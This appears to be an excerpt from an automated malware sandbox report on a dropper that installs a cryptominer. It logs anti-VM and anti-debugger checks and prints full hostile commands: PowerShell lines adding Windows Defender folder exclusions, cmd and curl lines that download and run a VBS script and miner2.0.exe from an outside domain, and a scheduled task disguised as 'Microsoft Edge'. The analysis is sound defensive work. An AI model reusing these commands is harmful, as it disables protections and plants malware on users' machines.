Source: axplong.exe, axplong.exe, 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: svchost64.exe, 00000095.00000002.2843997051.0000000000598000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914[1].exe.6.dr, Microsoft-Edge.exe.7.dr, loader_5879465914.exe.6.dr	Binary or memory string: IsVirtualMachine
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3019920701.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2766846263.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2950307615.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2577066128.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2843755674.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2436766433.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2673880736.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2358096287.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2400016250.00000000007BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914[1].exe.6.dr, Microsoft-Edge.exe.7.dr, loader_5879465914.exe.6.dr	Binary or memory string: CheckForVirtualMachine
Source: file.exe, 00000000.00000002.1763073628.0000000000B51000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000001.00000002.1789659705.0000000000E11000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000002.00000002.1789484442.0000000000E11000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: miner2.0.exe, 00000055.00000002.2679277773.0000000000A50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: curl.exe, 0000000A.00000003.2354085567.00000212B53C6000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000052.00000003.2618645292.000001DFDEF56000.00000004.00000020.00020000.00000000.sdmp, svchost64.exe, 0000008B.00000002.2793628082.000000001E4E4000.00000004.00000020.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2853167790.000000001DFCA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_7-903

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04CC01E6 Start: 04CC0289 End: 04CC01B2		0_2_04CC01E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04CC0189 Start: 04CC0289 End: 04CC01B2		0_2_04CC0189

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04CC0942 rdtsc

0_2_04CC0942

Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Code function: 7_2_00401B3F GetCurrentProcessId,CreateToolhelp32Snapshot,fwrite,Process32First,_stricmp,Process32Next,CloseHandle,CloseHandle,

7_2_00401B3F

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C5645B mov eax, dword ptr fs:[00000030h]		6_2_00C5645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C5A1C2 mov eax, dword ptr fs:[00000030h]		6_2_00C5A1C2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Code function: 7_2_00401180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,_initterm,GetStartupInfoA,		7_2_00401180
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Code function: 7_2_00402D90 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,		7_2_00402D90

Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'

Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Code function: 7_2_00401E9E puts,ShellExecuteExA,ShellExecuteExA,GetLastError,puts,printf,WaitForSingleObject,CloseHandle,

7_2_00401E9E

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe "C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del miner2.0.exe 2>nul && curl -o miner2.0.exe https://eijfrhegrtbrfcd.online/download/miner2.0.exe && start miner2.0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript conf.vbs	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "Microsoft Edge" /tr "C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe" /sc onlogon /rl highest /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
